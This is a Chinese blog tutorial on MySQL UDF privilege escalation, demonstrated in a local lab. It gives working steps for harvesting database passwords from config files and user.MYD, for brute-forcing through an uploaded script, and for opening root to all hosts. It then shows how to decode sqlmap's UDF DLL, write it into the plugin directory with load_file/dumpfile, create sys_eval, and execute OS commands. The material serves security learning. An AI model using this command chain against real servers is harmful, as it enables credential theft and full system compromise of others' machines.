MySQL数据库UDF提权学习

MySQL数据库UDF提权学习

——

数据库提权的前提条件:
服务器开启数据库服务及获取到最高权限用户密码。
除Access数据库外,其他数据库基本都存在数据库提权的可能。

——
——

获取数据库用户密码的几个方法

1、从网站的根目录配置文件中寻找

我这里以熊海cms1.0为例,网上下载的源码并且搭建在了本地的phpstudy中。
MySQL数据库UDF提权学习_第1张图片

到网站根目录里找。
可以根据文件名中敏感的关键字 conn、config、data、sql、common 、inc等去一个个打开查看内容。
也可以用审计工具去全局搜索关键字。
MySQL数据库UDF提权学习_第2张图片

打开这个文件,可以直接看到记录的数据库配置信息。
MySQL数据库UDF提权学习_第3张图片

——

2、从mysql数据库安装路径下的配置文件中寻找

/data/mysql/user.myduser.myi 文件中可能有
MySQL数据库UDF提权学习_第4张图片

打开user.myd ,看到里面有很多经过加密的密码。
MySQL数据库UDF提权学习_第5张图片

然后把那一串进行解密。得到密码root
MySQL数据库UDF提权学习_第6张图片

——

3、暴力破解

而进行暴力破解数据库密码,前提也要数据库支持外部连接,否则无法爆破出密码。
可以用脚本或工具进行爆破,同时也要准备爆破字典,都可以在网上进行下载。
而脚本常见的有php版的和python版的。
相对来说,用php语言写的可以避免数据库不支持外部连接。因为在getshell的条件下直接把php语言的mysql爆破脚本上传到目标服务器上,相当于是服务器直接进行本地爆破。
即就算目标mysql不支持外联,同样可以爆破。

*前面所说的获取数据库用户密码,除了暴力破解,都是建立在webshell的条件下获取。webshell是到当前用户权限,而数据库提权也只能提权到当前用户权限,那就好像~~

——
——

未开启外部连接的情况

会出现这样的错误,显示不允许连接到mysql服务。

ERROR 1130 (HY000): Host ‘192.168.43.153’ is not allowed to connect to this MySQL server

先通过本地连接mysql查看到只能通过localhost连接root用户。
MySQL数据库UDF提权学习_第7张图片

执行语句,让所有ip都可以连接到这个mysql服务。
root@后面的%就是代表任何主机可连接,若需要指定某台主机可连接,把%的位置换成对应IP即可。

GRANT ALL PRIVILEGES ON . TO root@“%” IDENTIFIED BY “root”;

再次查看user表中的host和user列可以看到,多了一条数据host:% user:root

进行刷新, 从mysql数据库的grant表中重新加载权限数据

FLUSH PRIVILEGES;

MySQL数据库UDF提权学习_第8张图片

这样,就相当于开启了外部连接了,本来会报错,现在已经可以连接上了。
MySQL数据库UDF提权学习_第9张图片

——
——

MySQL数据库udf提权

MySQL数据库有多种提权方式,这里先只测试udf提权方式。

udf提权

udf(user defined function,用户自定义函数),
mysql的一个拓展接口,通过添加自定义函数,并且我们能够在MySQL中使用这个函数,达到对MySQL功能的扩充。

udf提权的条件:

能够远程登录上mysql
mysql有写入文件的权限,即secure_file_priv的值为空。

——

前提条件查看

执行语句查看变量secure_file_priv的值。

当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

MySQL数据库UDF提权学习_第10张图片

看到我这里secure_file_priv的值并不是空,而是null。
可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv=‘’
MySQL数据库UDF提权学习_第11张图片

再次查看secure_file_priv的值为空。
MySQL数据库UDF提权学习_第12张图片

——

上传udf的动态链接库文件

动态链接库就是实现共享函数库概念的一种方式,在windows环境下后缀名为.dll,在linux环境下后缀名为.so 。我们要将该文件放在特定的目录中,该文件中包含了执行系统命令的一些函数

而这个动态链接库文件(.dll或.so)上传到哪一个位置,根据MySQL版本也有所区别

小于mysql5.1版本
C:\WINDOWS\udf.dll 或 C:\WINDOWS\system32\udf.dll
大于等于mysql5.1版本
lib\plugin\udf.dll (也就是在安装路径下)

我这里版本大于5.1 ,所以是上传到lib\plugin\udf.dll位置。
可以用select @@plugin_dir 查询plugin路径
MySQL数据库UDF提权学习_第13张图片

但实际上plugin文件夹默认不存在,就只能自己创建了。我这里是5.7版本的。(条件似乎有点多~)
MySQL数据库UDF提权学习_第14张图片

而说到要上传的这个dll文件,就要自己网上或者哪里找了,一些大马上面有这个功能,可以一键导入。
在sqlmap和msf里面也有内置。
sqlmap\data\udf\mysql 路径下Windows和Linux版本都有。
MySQL数据库UDF提权学习_第15张图片

通过语句

select @@version_compile_os, @@version_compile_machine;

查看当前数据库和操作系统的情况。则确定使用Windows和64位的dll文件。
MySQL数据库UDF提权学习_第16张图片

sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用,原本后缀名为 .dll_.so_ ,需要进行解码。
sqlmap也自带了解码的py脚本,在 sqlmap/extra/cloak目录下
MySQL数据库UDF提权学习_第17张图片

在此路径下执行解码命令:

python3 cloak.py -d -i E:\all-tools\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

请添加图片描述

然后在刚刚的dll目录下就生成了解码后的文件。
MySQL数据库UDF提权学习_第18张图片

然后就是把这个文件导入到\lib\plugin文件内了。

需要先通过webshell情况下或者一些文件上传漏洞把这个dll文件上传到可读写的文件夹,然后通过mysql语句再将这个文件移动到\lib\plugin文件夹里。比如这里从网站根目录移动到**\lib\plugin**文件夹。
sql语句:

select load_file(‘E:\\phpstudy_pro\\WWW\\lib_mysqludf_sys.dll’) into dumpfile ‘E:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\plugin\\lib_mysqludf_sys.dll’;

dll文件移动到到 plugin文件夹中
MySQL数据库UDF提权学习_第19张图片

——

创建自定义函数

函数名为sys_eval,还要用到前面导入的dll文件,udf.dll 的位置代表共享包名称
引用共享库文件创建存储过程:

create function sys_eval returns string soname “lib_mysqludf_sys.dll”;

查看函数

select * from mysql.func;

可以看到成功 创建了sys_eval函数
MySQL数据库UDF提权学习_第20张图片

现在就可以使用该函数执行系统命令了。
如:

select sys_eval(‘whoami’)

MySQL数据库UDF提权学习_第21张图片

过程结束。

你可能感兴趣的:(知识点学习,工具使用,数据库,提权,udf,mysql)